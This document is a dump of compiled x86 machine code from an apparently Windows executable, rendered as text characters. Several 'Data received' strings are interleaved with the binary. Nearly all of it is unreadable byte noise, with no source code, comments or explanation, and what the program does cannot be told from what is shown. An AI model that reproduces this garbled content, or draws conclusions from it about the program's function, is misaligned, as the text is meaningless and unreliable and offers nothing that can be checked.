Y‹å]ÃÌU‹ìQ‰Müè‹å]ÃU‹ì¸ê]ÃÌÌÌÌÌÌU‹ìƒì8‰M̋EP‹MÌèHƒøÿuƒÈÿéjh‡j‹MÌèopÇEìjjjjj‹M̃Áxèpè{‹H‰Mèè{‹P ‰U丂·ÈQ‹UäRÿå‰Eôèñz‹@‰Eàèæz‹H ‰Mܺƒ·ÂP‹MÜQÿå‰EøÇEüë ‹UüƒÂ‰Uüƒ}ü}.‹Eü‹L…ô‰MԋŰB|‰E؋MÔQjÿ‹UØRèz‹@x‹èuëËM̉Mð‹ŨÂx‰UÐu ÇEÈë ‹EЋH‰MȋUÈRjh ‹Eð‹H QÿåPèâþ3À‹å]ÂÌÌÌÌÌÌÌÌÌÌU‹ìƒì ‰Môè#z‹@‰Eø‹Mø‹Q ‰Uü‹Eü‹‹Mü‹‚DÿЋå]ÃÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌU‹ìƒì‰Møèãy‹@‰Eü‹Mü‹I èÑ¡‹å]ÃÌÌÌÌÌÌÌÌÌÌÌÌÌU‹ìjÿhh°d¡PƒìX¡˜)3ÅPEôd£‰Mœ‹Eœ‹HlƒÁ‹Uœ‰Jl‹MœèQÿÿÿ‰Eðƒ}ðt ‹EðƒxTu‹Mœ‹Qlƒê‹Eœ‰PlëN‹Mœ‰M ‹Mœè`‹U RM¤èD'ÇEüE¤P‹Mð‹ITè~͋Uœ‹Blƒè‹Mœ‰AlÇEüÿÿÿÿM¤èÀ'‹Môd‰ Y‹å] ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌU‹ìƒì‰Mð‹Eð‹HlƒÁ‹Uð‰Jl‹Eð‰Eø‹MðÇAp‹UðÇBtjjh ‹Eø‹H Qÿå‰Eô‹UôR‹EøP‹Mð襉Eüƒ}üt‹MüQ‹UøR‹Mð茉Eüëåhÿÿjh‹Eø‹H Qÿå‹Uð‹Blƒè‹Mð‰Al‹å]ÃÌÌÌÌÌÌÌÌÌÌÌU‹ìƒì‰Mè‹Eèƒxlt‹M Ç釋U‰Uü‹Mèè"þÿÿ‰Eøj‹MøèÕÅ
Data received ãýÿÿ‹UÔÇj è#ȃĉEìÇEüƒ}ìtC‹EìÇ@‹MìÇA‹URÿlã‹M쉋Uìƒ:uƒ}t h€è¥e‹Eì‰EÌëÇE̋M̉MðÇEüÿÿÿÿ‹UԋEð‰‹Mԃ9u h€èoe‹EԋMôd‰ Y‹å]ÂÌÌÌÌÌÌÌÌÌÌÌU‹ìjÿh`´d¡PìÔ¡˜)3ÅPEôd£‰ ÿÿÿ‹EPje‹ ÿÿÿè¥sÇEü‹ ÿÿÿnj싕 ÿÿÿƒÂt‰Uð‹Mðè£ï‹EðÇLëÆEü‹ ÿÿÿÁȉMì‹Mìèï‹UìÇLëÆEü‹… ÿÿÿ‰Eè‹Mèè\ï‹MèÇLëÆEü‹ ÿÿÿÁpè5îÿÿÆEü‹ ÿÿÿÁtè îÿÿÆEü‹ ÿÿÿÁxè îÿÿÆEü‹ ÿÿÿÁ|èöíÿÿÆEü‹ ÿÿÿÁ€èáíÿÿÆEü‹• ÿÿÿÂp‰U¤¸A…Àu ÇE¨ëhAèR6ƒÄ‰E¨‹M¨QhA‹M¤è›ñÿÿ‹• ÿÿÿÂt‰Uœ¸A…Àu ÇE ëhAè6ƒÄ‰E ‹M QhA‹MœèYñÿÿ‹• ÿÿÿÂx‰•xÿÿÿ¸A…Àu ÇE˜ëhAèË5ƒÄ‰E˜‹M˜QhA‹xÿÿÿèñÿÿ‹• ÿÿÿÂ|‰•Tÿÿÿ¸A…Àu DžtÿÿÿëhAè€5ƒÄ‰…tÿÿÿ‹tÿÿÿQhA‹TÿÿÿèÀðÿÿ‹• ÿÿÿÂ€‰•$ÿÿÿ¸A…Àu DžPÿÿÿëhAè/5ƒÄ‰…Pÿÿÿ‹PÿÿÿQhA‹$ÿÿÿèoðÿÿÇEüÿÿÿÿ‹… ÿÿÿ‹Môd‰ Y‹å]ÂÌU‹ìƒì‰Mè‹Mèè‹Eƒàt ‹MèQèÝăÄ‹Eè‹å]ÂÌÌU‹ìjÿh¡´d¡Pƒì¡˜)3ÅPEôd£‰MÜÇEü‹M܁Á€è£ïÿÿ‹M܁Á|è•ïÿÿ‹M܁Áxè‡ïÿÿ‹M܁Átèyïÿÿ‹M܁Ápèkïÿÿ‹M܁ÁèvoÆEü‹M܁ÁÈèdoÆEü‹M܃ÁtèUoÇEüÿÿÿÿ‹MÜèÁo‹Môd‰ Y‹å]ÃÌÌÌÌÌÌÌÌÌÌÌÌÌÌU‹ìQ‰Mü‹EüƒÀtPhé‹MQèz‹UüÂÈRhê‹EPèÿy‹MüÁQhè‹URèçy‹EüpPhè‹MQèwz‹UüÂtRhê‹EPè_z‹MüÁxQhí‹URèGz‹Eü|Phî‹MQè0z‹UüÂ€Rhé‹EPèz‹å]ÂÌÌÌÌÌÌÌÌU‹ìQ‰Müè‹å]ÃU‹ì¸ðí]ÃÌÌÌÌÌÌU‹ìƒì ‰Mô‹MôèOèûD‹@‰Eø‹Mø‹Q ‰Uüƒ}üt‹Müèýl‹Èèy;‹å]ÃÌÌU‹ìQ‰Mü‹MüèQ‹å]ÃÌÌÌÌÌÌÌÌÌÌÌÌÌU‹ìƒì ‰Môè£D‹@‰Eø‹Mø‹Q ‰Uüƒ}üt‹Müè¥l‹ÈèîÌÿÿ‹å]ÃÌÌÌÌÌÌÌÌÌÌU‹ìƒì‰MðècD‹@‰Eô‹Mô‹Q ‰Uüƒ}üt+‹Müèel‰Eøƒ}øt‹MøèÊÿÿ‰Eìj‹Eì‹‹Mì‹B\ÿЋå]ÃÌÌÌÌÌÌÌÌÌÌÌÌÌÌU‹ìƒì‰Mü‹E‰Eø}øètJ}øét }øêtëQjjh¸‹Mü‹‘”Rÿåë8jjh¸‹Eü‹ˆèQÿåëjjh¸‹Uü‹‚<Pÿåë3À‹å]ÂÌÌÌÌÌÌÌÌÌÌÌU‹ìQ‰Müjjh¹‹Eü‹ˆ”Qÿåjjh¹‹Uü‹‚èPÿåjjh¹‹Mü‹‘<Rÿå‹å]ÃÌÌÌÌÌÌÌÌÌÌU‹ìì˜‰hÿÿÿ‹…hÿÿÿ€‰Eè‹MƒÁQ‹Mèè䋕hÿÿÿÂt‰UЋEƒÀP‹MÐèÆ‹hÿÿÿÁ|‰M¸‹UƒÂR‹M¸è¨ƒ} tA‹…hÿÿÿx‰E ‹MƒÁ Q‹M è…‹•hÿÿÿÂp‰•lÿÿÿ‹EƒÀP‹lÿÿÿèa‹å]ÂÌÌÌÌÌÌÌÌÌÌÌU‹ìQ‰Mü‹E P·MQ‹Müèau‹å]ÂÌÌU‹ìQ‰Mü‹MüèZk‹Eƒàt ‹MüQèÀƒÄ‹Eü‹å]ÂÌÌÌÌU‹ìƒìP‰M°‹E‹ƒé‰Mü‹U°‹ƒè‰Eø‹Mü;Mø„…‹Uø3Àƒz œÀ¶È…Éu ‹Uü‹Eø‹ ;t%‹U‹‹Hô‰Mð‹U‹‰Eì‹MðQ‹UìR‹M°èóêÿÿëA‹EüPèxíÿÿƒÄ‰Eô‹MøƒÁ ƒÊÿðÁJ…Ò‹EøP‹Mø‹‹Eø‹‹‹BÿЋMôƒÁ‹U°‰ ‹E°‹å]ÂÌÌÌÌÌÌÌU‹ìjÿhá´d¡PƒìT¡˜)3ÅPEôd£‰M ‹EPh†‹M èKkÇEü‹M Ç¼ï‹U ƒÂt‰Uð‹MðèOç‹EðÇtîÆEü‹M ÁÈè+æÿÿÆEü‹M ÁȉM¤ºA…Òu ÇEàëhAèŸ.ƒÄ‰Eà‹EàPhA‹M¤èèéÿÿ‹M ÇÌÇEüÿÿÿÿ‹E ‹Môd‰ Y‹å]ÂU‹ìjÿhµd¡Pƒì¡˜)3ÅPEôd£‰MìÇEü‹MìÁÈèCéÿÿ‹MìƒÁtèýhÇEüÿÿÿÿ‹Mìè½i‹Eƒàt ‹MìQ较ċEì‹Môd‰ Y‹å]ÂÌU‹ìQ‰Mü‹EüƒÀtPhö‹MQèt‹UüÂÈRhõ‹EPè–t‹MüÁÌQh÷‹URèrs‹å]ÂÌÌÌÌÌÌÌÌÌÌÌÌÌÌU‹ìQ‰Müè‹å]ÃU‹ì¸ ñ]ÃÌÌÌÌÌÌU‹ìjÿh8µd¡Pì˜¡˜)3ÅPEôd£‰dÿÿÿj‹dÿÿÿèjòè1?‹@‰E܋M܋Q ‰Uè‹Mèè9g‰E싅dÿÿÿ‹ˆÈƒé‰M؋UØRè
Data received P‹Mð‹Q Rÿ€å‹E¤‰E„‹M¨‰Mˆ‹UˆR‹E„PM”Qÿxå…Àtë ‹xÿÿÿè7‘‹Môd‰ Y‹å] ÌÌÌÌÌÌÌÌÌU‹ìQ‰Müjj‹MüÁèè(O‹å]ÃÌÌÌU‹ìQ‰Müjj‹MüÁèèO‹å]ÃÌÌÌU‹ìjÿhîµd¡PQ¡˜)3ÅPEôd£‰Mð¡`>ƒàu6‹ `>ƒÉ‰ `>ÇEüj¹=è–ÿÿhðÛènуÄÇEüÿÿÿÿ¹=è1‹Môd‰ Y‹å]ÃÌU‹ìjÿh¶d¡Pìh¡˜)3ʼnEÀPEôd£‰¤ýÿÿ‹¤ýÿÿè$ÿÿÿ‰Eðƒ}ðt‹Mðèc_ÿÿ…ÔýÿÿPèG4ƒÄ‰… ýÿÿ‹ ýÿÿ‰œýÿÿÇEü‹•œýÿÿRh ô…ÐýÿÿPè³ƒÄ ‰…˜ýÿÿ‹˜ýÿÿ‰”ýÿÿÆEühë‹•”ýÿÿR…ÌýÿÿPè²tÿÿƒÄ ‰…ýÿÿ‹ýÿÿ‰ÄýÿÿÆEü‹•Äýÿÿ‹‰…Àýÿÿjj‹¤ýÿÿQhpôj‹•ÀýÿÿRhhôjÜýÿÿèï½ÆEüÌýÿÿè1ÿÿÆEüÐýÿÿè"ÿÿÆEüÔýÿÿèÿÿÜýÿÿèŸÅƒøuÇEüÿÿÿÿÜýÿÿ註éÁ…ÈýÿÿPÜýÿÿèÆ‰…Œýÿÿ‹Œýÿÿ‰°ýÿÿÆEü‹•°ýÿÿ‹‰…¬ýÿÿ‹¬ýÿÿQMÄè7ÆEü Èýÿÿè˜~ÿÿMÄèP…ÀtC‹•¤ýÿÿ‹‹¤ýÿÿ‹Dÿ҉…Øýÿÿƒ½Øýÿÿt‹…ØýÿÿƒxTtMÄQ‹•Øýÿÿ‹JTè‰)ÆEüMÄè- ÇEüÿÿÿÿÜýÿÿè⺋Môd‰ Y‹MÀ3Íè¿‹å]ÃÌÌU‹ìjÿhh²d¡PƒìT¡˜)3ÅPEôd£ÇEì‹Mè,tÿÿPMðèÓsÿÿÇEü‹E‹‹Qô‰U؋E‹‰Mԃ} u ÇEÐë‹U RèÂƒÄ‰EЋEØP‹MÔQ‹UÐR‹E PMðQè2tÿÿƒÄ‹Uðƒê‰U¸‹E¸Pè=€ÿÿƒÄ‰E´‹M´ƒÁ‹U‰ ‹EìƒÈ‰EìÇEüÿÿÿÿMðèD}ÿÿ‹E‹Môd‰ Y‹å]ÃÌÌU‹ìQ‰Mü‹å]ÃÌÌÌÌÌU‹ìjÿh¸¶d¡PQ¡˜)3ÅPEôd£‰Mð‹EðÇTôÇEü‹Mðèz«ÇEüÿÿÿÿ‹Mƒát ‹UðRè¹QƒÄ‹Eð‹Môd‰ Y‹å]ÂÌÌÌU‹ìjÿh¸¶d¡PQ¡˜)3ÅPEôd£‰Mð‹EðÇTôÇEü‹Mðè «ÇEüÿÿÿÿ‹Môd‰ Y‹å]ÃÌÌÌÌÌÌÌÌÌÌÌÌU‹ìjÿh&·d¡Pìô¡˜)3ÅPEôd£‰ÿÿÿ‹…ÿÿÿÇðô‹ÿÿÿƒÁèHxÿÿÇEü‹ÿÿÿƒÁè3xÿÿÆEü‹ÿÿÿƒÁ è!xÿÿÆEü‹ÿÿÿƒÁèxÿÿÆEü‹ÿÿÿƒÁèýwÿÿÆEü‹ÿÿÿƒÁ‰M”ºA…Òu ÇE´ëhAèqÀƒÄ‰E´‹E´PhA‹M”èº{ÿÿ‹ÿÿÿƒÁ ‰pÿÿÿºA…Òu ÇEëhAè/ÀƒÄ‰E‹EPhA‹pÿÿÿèu{ÿÿ‹ÿÿÿƒÁ‰LÿÿÿºA…Òu DžlÿÿÿëhAè翃ĉ…lÿÿÿ‹…lÿÿÿPhA‹Lÿÿÿè'{ÿÿ‹ÿÿÿƒÁ‰(ÿÿÿºA…Òu DžHÿÿÿëhA虿ƒÄ‰…Hÿÿÿ‹…HÿÿÿPhA‹(ÿÿÿèÙzÿÿ‹ÿÿÿƒÁ‰ÿÿÿºA…Òu Dž$ÿÿÿëhAèK¿ƒÄ‰…$ÿÿÿ‹…$ÿÿÿPhA‹ÿÿÿè‹zÿÿÇEüÿÿÿÿ‹…ÿÿÿ‹Môd‰ Y‹å]ÃÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌU‹ìQ‰Mü‹Müè!‹Eƒàt ‹MüQèïNƒÄ‹Eü‹å]ÂÌÌÌÌU‹ìƒì‰Mè‹EèÇðô‹MèƒÁèÓyÿÿ‹MèƒÁèÈyÿÿ‹MèƒÁ è½yÿÿ‹MèƒÁè²yÿÿ‹MèƒÁè§yÿÿ‹å]ÃÌÌÌU‹ìjÿh°·d¡PìØ¡˜)3ÅPEôd£ÇE¼f¡ õf‰EðŠ "õˆMò‹U ƒÂRhõEèPè9ûÿÿƒÄ ‰…pÿÿÿ‹pÿÿÿ‰lÿÿÿÇEüUðR‹…lÿÿÿPMäQè9nÿÿƒÄ ‰…hÿÿÿ‹•hÿÿÿ‰•dÿÿÿÆEüh õ‹…dÿÿÿPMàQè nÿÿƒÄ ‰…`ÿÿÿ‹•`ÿÿÿ‰•\ÿÿÿÆEü‹E ƒÀP‹\ÿÿÿQUÜRèûlÿÿƒÄ ‰…Xÿÿÿ‹…Xÿÿÿ‰…TÿÿÿÆEüMðQ‹•TÿÿÿREØPè®mÿÿƒÄ ‰…Pÿÿÿ‹Pÿÿÿ‰LÿÿÿÆEühõ‹•LÿÿÿREÔPè€mÿÿƒÄ ‰…Hÿÿÿ‹Hÿÿÿ‰DÿÿÿÆEü‹U ƒÂ R‹…DÿÿÿPMÐQèplÿÿƒÄ ‰…@ÿÿÿ‹•@ÿÿÿ‰•<ÿÿÿÆEühôô‹…<ÿÿÿPMÌQè"mÿÿƒÄ ‰…8ÿÿÿ‹•8ÿÿÿ‰•4ÿÿÿÆEü‹E ƒÀP‹4ÿÿÿQUÈRèlÿÿƒÄ ‰…0ÿÿÿ‹…0ÿÿÿ‰…,ÿÿÿÆEüMðQ‹•,ÿÿÿREÄPèÅlÿÿƒÄ ‰…(ÿÿÿ‹(ÿÿÿ‰$ÿÿÿÆEü UðR‹…$ÿÿÿPMÀQè˜lÿÿƒÄ ‰… ÿÿÿ‹• ÿÿÿ‰•ÿÿÿÆEü ‹E ƒÀP‹ÿÿÿQUìRèˆkÿÿƒÄ ÆEü MÀè9wÿÿÆEü MÄè-wÿÿÆEüMÈè!wÿÿÆEüMÌèwÿÿÆEüMÐè wÿÿÆEüMÔèývÿÿÆEüMØèñvÿÿÆEüMÜèåvÿÿÆEüMàèÙvÿÿÆEüMäèÍvÿÿÆEüMèèÁvÿÿ‹Eìƒè‰EŒ‹MŒQèyÿÿƒÄ‰Eˆ‹UˆƒÂ‹E‰‹M¼ƒÉ‰M¼ÇEüÿÿÿÿMìè†vÿÿ‹E‹Môd‰ Y‹å]ÃÌÌÌÌU‹ìjÿh-¸d¡Pì´¡˜)3ÅPEôd£‰`ÿÿÿ‹`ÿÿÿèwJÇEü‹…`ÿÿÿÇ<õ‹`ÿÿÿƒÁèVrÿÿÆEü‹`ÿÿÿƒÁèDrÿÿÆEü‹
Data received `ÿÿÿƒÁèuØÆEü‹`ÿÿÿÇA‹•`ÿÿÿÇB ‹…`ÿÿÿÇ@‹`ÿÿÿÇA‹•`ÿÿÿƒÂ‰U¼¸A…Àu ÇEÀëhAèrºƒÄ‰EÀ‹MÀQhA‹M¼è»uÿÿjh‹UR‹`ÿÿÿƒÁ‹…`ÿÿÿ‹P‹B ÿЅÀu‹`ÿÿÿÇAjÿjh!ïèUϋ`ÿÿÿèï…À„ÁÇEìë ‹UìƒÂ‰Uìƒ}ì(}A‹…`ÿÿÿƒÀ‰E´¹4õ…Éu ÇE¸ëh4õèǹƒÄ‰E¸‹U¸Rh4õ‹M´è mÿÿë°¡d‰E¨‹`ÿÿÿƒÁ‰M¬ƒ}¨u ÇE°ë‹U¨R肹ƒÄ‰E°‹E°P‹M¨Q‹M¬èÜlÿÿMðèÄpÿÿÆEüèlˋP‰U˜EðP‹M˜‹I 識UèRè­(ƒÄ‰…\ÿÿÿ‹…\ÿÿÿ‰…XÿÿÿÆEüh$õMðQUäRèRiÿÿƒÄ ‰…Tÿÿÿ‹…Tÿÿÿ‰…PÿÿÿÆEü‹XÿÿÿQ‹•PÿÿÿREàPèBhÿÿƒÄ ‰…Lÿÿÿ‹Lÿÿÿ‰HÿÿÿÆEü‹•HÿÿÿR‹`ÿÿÿèÆEüMàèËsÿÿÆEüMäè¿sÿÿÆEüMèè³sÿÿhAMÜèFpÿÿ‰…Dÿÿÿ‹…Dÿÿÿ‰…@ÿÿÿÆEü‹@ÿÿÿQ‹`ÿÿÿè¾ÆEüMÜèrsÿÿÆEüMðèfsÿÿÇEüÿÿÿÿ‹…`ÿÿÿ‹Môd‰ Y‹å]ÂÌÌÌÌÌÌÌÌU‹ìQ‰Mü‹Müè!‹Eƒàt ‹MüQèHƒÄ‹Eü‹å]ÂÌÌÌÌU‹ìjÿh‘¸d¡PƒìT¡˜)3ÅPEôd£‰M¸‹E¸Ç<õÇEü‹M¸è…À„³hLõMðè[oÿÿ‰E´‹M´‰M°ÆEü‹U°R‹M¸èâÆEüMðè–rÿÿ‹E¸ƒÀP‹M¸èǍMìQèÎ&ƒÄ‰E¬‹U¬‰U¨ÆEü‹E¨PhDõMèQèLôÿÿƒÄ ‰E¤‹U¤‰U ÆEüj‹E P‹M¸èÆEüMèè2rÿÿÆEüMìè&rÿÿ‹M¸ƒÁ‹U¸‹B‹PLÿÒÆEü‹M¸ƒÁèÎÖÆEü‹M¸ƒÁè÷qÿÿÆEü‹M¸ƒÁèèqÿÿÇEüÿÿÿÿ‹M¸èiF‹Môd‰ Y‹å]ÃÌÌÌÌÌÌÌÌÌÌU‹ìjÿh¹d¡PìÔ¡˜)3ÅPEôd£‰Lÿÿÿ‹LÿÿÿèG…Àu3À髃}u3À鞍EðP‹M‹‹EP‹JÿыUðRMìèazÿÿÇEü‹EðPÿhã‹ 4QMìèA{ÿÿPÿã…À…#ƒ} u"‹•Lÿÿÿ‹BƒÀ‹Lÿÿÿ‰A‹•LÿÿÿÇB ÿÿÿÿMÔè¢ôÿÿÆEüEÔP‹MQèÁ.ƒÄ…Àu6‹U ‰UÄÆEüMÔèØöÿÿÇEüÿÿÿÿƒ}ìt‹Mìè#{ÿÿÇEì‹EÄéÓè–êPMÐè–fÿÿÆEü‹…Lÿÿÿ‹H ƒÁ‹•Lÿÿÿ‰J ‹E P‹Lÿÿÿ‹Q R‹…Lÿÿÿ‹HQhpõUÐRè7ƒÄEÔPMÌQè§öÿÿƒÄÆEü‹dREÐPMÀQèLeÿÿƒÄ ‰…Hÿÿÿ‹•Hÿÿÿ‰•DÿÿÿÆEüEÌP‹DÿÿÿQU¼Rè?dÿÿƒÄ ‰…@ÿÿÿ‹…@ÿÿÿ‰…<ÿÿÿÆEü‹ dQ‹•<ÿÿÿRE¸PèïdÿÿƒÄ ‰…8ÿÿÿ‹8ÿÿÿ‰4ÿÿÿÆEü‹•4ÿÿÿR‹LÿÿÿèäÆEüM¸è˜oÿÿÆEüM¼èŒoÿÿÆEüMÀè€oÿÿ‹…LÿÿÿƒÀP‹Lÿÿÿè«ÇEÈë ‹MȃÁ‰MȋUÈ;U }A‹…LÿÿÿƒÀ‰E„¹lõ…Éu ÇEˆëhlõè ´ƒÄ‰Eˆ‹UˆRhlõ‹M„èbgÿÿë®hhõEÐPM´QèdÿÿƒÄ ‰…0ÿÿÿ‹•0ÿÿÿ‰•,ÿÿÿÆEüEèP‹,ÿÿÿQU°RècÿÿƒÄ ‰…(ÿÿÿ‹…(ÿÿÿ‰…$ÿÿÿÆEü‹ dQ‹•$ÿÿÿRE¬PèÁcÿÿƒÄ ‰… ÿÿÿ‹ ÿÿÿ‰tÿÿÿÆEü ‹•LÿÿÿƒÂ‰•xÿÿÿ‹…tÿÿÿ‹‹Qô‰U€‹…tÿÿÿ‹‰|ÿÿÿ‹U€R‹…|ÿÿÿP‹xÿÿÿè—fÿÿÆEüM¬è;nÿÿÆEüM°è/nÿÿÆEüM´è#nÿÿÆEüMÌènÿÿÆEüMÐè nÿÿÆEüMÔèôÿÿ‹M ƒÁ‰M ‹U ‰U¨ÇEüÿÿÿÿƒ}ìt‹MìèKxÿÿÇEì‹E¨‹Môd‰ Y‹å]ÂU‹ìjÿh(¹d¡Pƒì¡˜)3ÅPEôd£‰Mè¡dP‹MQUðRè¥bÿÿƒÄ ‰Eä‹Eä‰EàÇEü‹MàQ‹Mèè&ÇEüÿÿÿÿMðèWmÿÿ‹Môd‰ Y‹å]ÂÌÌÌÌÌÌU‹ìQ‰Müj‹EP‹Müè ‹å]ÂÌÌÌÌÌU‹ìƒì`‰M¤‹E¤ƒxu0jèÇAƒÄ‰Eüƒ}üt ‹Müè3iÿÿ‰E ëÇE ‹M¤‹U ‰Q‹E¤‹H‰MÀ‹U‹‹Hô‰Mì‹U‹‰Eè‹MìQ‹UèR‹MÀèeÿÿƒ} u‹E¤‹H‰M¼‹U¼‹‹Hô‰M¸}¸ ~H‹U¤‹B‰E´‹M´‹‹Bô‰E°‹M¤‹Q‰U¬‹E¬‹‰M¨‹U°R‹E¨P‹M¤ƒÁ‹U¤‹B‹P8ÿҋE¤Ç@‹å]ÂÌU‹ìQ‰Mü‹Eü‹@‹å]ÃÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌU‹ìƒìE‰Eü‹MüQ‹U R‹MèÇEü‹å]ÃÌÌÌÌÌÌÌÌÌU‹ìƒì‰Mäƒ}u hW€èw\ÿÿ‹E P‹MQ調ƒÄ‰Eø‹U䋃è‰Eì‹Mìº+Q ‰Uô‹Eì‹H+Mø‰Mð‹Uô Uð} ‹EøP‹Mäè»mÿÿ‹M䋉Uè‹Eè‰Eü‹M Q‹UR‹EøƒÀP‹MüQèʽƒÄƒ}ø| ‹Uä‹‹Mø;Hø~ hW€èå[ÿÿ‹Uä‹‹Mø‰Hô‹Uä‹‹MøÆ‹å]ÂÌÌÌÌÌÌÌÌU‹ìQ‰Müè‹å]ÃU‹ì¸€õ]ÃÌÌÌÌÌÌU‹ìQ‰Müj‹MüèÇ‹EüÇìõ‹Eü‹å]ÃÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌU‹ìQ‰Mü‹Müè€È‹Eƒàt ‹MüQèŸ?ƒÄ‹Eü‹å]ÂÌÌÌÌU‹ìjÿhb¹
Data received ä ‹Æ^ËÿU‹ìV‹ñèúÿÿöEtVèðX‹Æ^]Âj¸lÂèv hŒè¶X‹È‰Mð3À‰Eü;Ètè¡ÿÿÿè,Ãh™.¹ÄXèQ^…Àuéë'‹@…Àuh"¹ÀXèY…ÀtáÃèÈÿÿÿ‹ÈƒÁtè®úÿÿ…Àué¸'ËÿU‹ìV‹ñè§ÿÿÿƒx|t‹E‹€€ƒøÿt VPè¥÷ÿÿ‰Fëƒf‹Æ^]Âè«ùÿÿ‹€ìËÿU‹ìVèé‰ÿÿ‹ð…öt%‹‹Îÿ(…Àt†€ƒ8t ‹ÿu‹‹ÈÿRd^]ËÿU‹ìS‹¬åV‹uW…öuè¡ÿÿÿ…Àu 蘉ÿÿ…Àu3öë‹p ëjðVÿàå©@t VÿӋð…öuç‹þ‹Æ…öt P‹øÿӅÀu÷ƒ}u …öt VÿØä‹ð‹] …Ût#…ÿtWÿhä…Àt;þt jW‰;ÿåëƒ#_‹Æ^[]‹ÿU‹ìÿuèÿÿÿY]‹ÿU‹ìì¡˜)3ʼnEü‹E SVW‹}3öV‰…äþÿÿèéþÿÿY…ôþÿÿPVèÿÿÿ‹Ø‰èþÿÿ;ôþÿÿt jSÿå!µìþÿÿ…ìþÿÿPSÿdä…Ût&ÿÀâ9…ìþÿÿujjhvSÿå…Àt‹ðë…ÿtwxƒ¥ðþÿÿ…öt‹‰…ðþÿÿ‹E…Àt‰öEðu‹EƒàƒøvƒÀýƒøw ƒM ëƒM0ƅøþÿÿ…ÿt‹_P덝øþÿÿ¿W‹ÃPjÿÄâ;ÇuÆEûÿuSÿµäþÿÿÿµèþÿÿ裡ÿÿƒÄ‹ø…öt‹…ðþÿÿ‰ƒ½ôþÿÿtjÿµôþÿÿÿåjèÆýÿÿY‹Mü‹Ç_^3Í[è6çÉËÿU‹ìèýÿÿ‹@…Àt ‹‹È]ÿ¢˜ÿuÿu ÿujèsþÿÿƒÄ] ‹ÿU‹ìÿuÿu ÿuQèXþÿÿƒÄ] j¸¼Òè Mðè¢þÿÿuƒeüMðèɂÿÿ‹Eƒøÿu‹E‹uðPÿu VèwÿÿÿNð‹øè0xÿÿ‹Çèµ  ‹ÿU‹ìÿuÿuÿu ÿuè8ïPè@ðÿÿƒÄ]ËÿU‹ìSV‹u 3ÛW;ótC‹};ût<èIüÿÿ‹@ ÿuPè0|ÿÿYY;Ãu ˆ3À_^[] ·SSOWVQƒÀPSSÿ0ãˆ0ëßè$Ìèüÿÿ‹@ ‹ÿU‹ìV‹u …öu3Àëoƒ}Wt¾}ÿMWVèì‹ðYY…öt!Fƒ}uç¾EPVèýëYY…ÀuVÿXãë‹Mè)¦þÿ3Àë$+ƋMPVPPèÿÿPè ÿÿÿ‹MƒÄjÿèEÿÿ3À@_^]‹ÿV‹ð3À‹Ê…Òt 8tFJuø…Òu¸W€^…ÿt …À|+ʉÃ'ËÿU‹ì‹EÀPÿu‹E ÀPÿuè÷íƒÄ]ËÿU‹ìÿuÿuÿu ÿuèÉÿÿÿPèäîÿÿƒÄ]ËÿU‹ìÿuÿu ÿuèq#PèÆîÿÿƒÄ]ËÿU‹ìÿu ÿuÿ¼â…Àuÿuÿ@ãPèÙb]‹ÿU‹ìÿuÿLã…Àuÿuÿ@ãPè´b]‹ÿU‹ìì$¡˜)3ʼnEüS‹] W‹}SW‰Üùÿÿÿ°â…Àt3Àé¨j*ÿüå…Àu@é–V‹5XãWÿÖS‰…àùÿÿÿÖ9…àùÿÿ…‡ÿ´â‹5¸â‹Ø…äùÿÿPjÿWjSÿ֍…ôýÿÿPjÿWjSÿ֍…ìûÿÿPjÿÿµÜùÿÿjSÿր?‹Çt,3öö„5ôýÿÿ€tf‹Œ5äùÿÿf;Œ5ìûÿÿu"FPFèï€8YuÖ3À@^‹Mü_3Í[èÅãÉÂ3Àëë¸ ËÿU‹ì‹E…À|‹;Bø‰Bô‹ 3Òf‰A]ÂhW€è*“þÿÌh€è“þÿ̋ÿU‹ì3ÀPPjÿÿuPjÿäâH]ËÿU‹ìÿu ÿuÿuÿujjÿäâ]ËÿU‹ì‹Eƒøÿu ÿuè"Y@Pÿuÿu ÿuèçýÿÿƒÄ]ËÿU‹ì‹EW‹}…Àt‹U úÿÿÿwèqýÿÿë¸W€…À}…ÿtƒ'_] ‹ÿU‹ìƒ} V‹ñu3Àë+jE Pÿu ÿuÿvÿ¬â…Àuÿv ÿ@ãPè­`‹E ^]‹ÿU‹ìVW‹} ‹ñ…ÿt7jE PWÿuÿvÿ¨â…Àuÿv ÿ@ãPèo`9} t ÿv jÿj è`_^]‹ÿU‹ìQQ‹EVÿu‹ñ‹M ‰MüMüQPÿv‰Eøÿ¤â‰EøƒøÿuW‹=@ãÿׅÀt ÿv ÿ×Pè`_‹Eø‹Uü^É ‹ÿU‹ìQQV‹ñj3ÀMüQPÿv‰Eø‰Eüÿ¤â‰EøƒøÿuW‹=@ãÿׅÀt ÿv ÿ×PèÃ__‹Eø‹Uü^ÉËÿV‹ñ‹FƒøÿtPÿ â…Àuÿv ÿ@ãPè’_^ËÿU‹ìVÿu‹ñÿuÿu ÿuÿvÿœâ…Àuÿv ÿ@ãPè`_^]‹ÿU‹ìVÿu‹ñÿuÿu ÿuÿvÿ˜â…Àuÿv ÿ@ãPè+_^]‹ÿU‹ìVjÿu ‹ñÿu‹ÿP(ÿvÿ”â…Àuÿv ÿ@ãPèõ^^]‹ÿU‹ìQQWEü‹ùPÿwÿâ‰EøƒøÿuV‹5@ãÿօÀt ÿw ÿÖPè¹^^‹Eø‹Uü_ÉËÿU‹ìì¡˜)3ʼnEüSV‹u W‹}‹Þ…öu øþÿÿÇEÿuSWÿ<àf…Àt ÿuVWè¥^ë…öu SÿXã@ë3À‹Mü_^3Í[èDàÉ ‹ÿU‹ìQQSV‹1‹^ôƒî‰Mø‹‹W‰]üÿP‹jÿu‹Èÿ‹ø…ÿuèüÿÿ‹E;Ø}‹Ã@PNQP_Sè–úÿÿ‹EüƒÄ‹Î‰Gèqqÿÿ‹Eø_^‰[É‹ÿU‹ì‹UV‹ñ‹ƒè9P‹}…Ò~W‹9jRPÿW_…ÀuèüÿÿƒÀ‰^]‹ÿV‹ñ‹FW3ÿƒøÿtPÿŒâ‹ø÷ßÿGƒNÿƒfƒÆ ‹Îèܟþÿ…ÿtÿ6ÿ@ãPè\]_^ËÿV‹ñ‹Fƒøÿt PÿŒâƒNÿN ^馟þÿ‹ ƒéé¼pÿÿ‹ÿU‹ìV‹ñ‹M…Éu h@€è³Žþÿ‹ÿP ƒÀ‰‹Æ^]‹ÿV
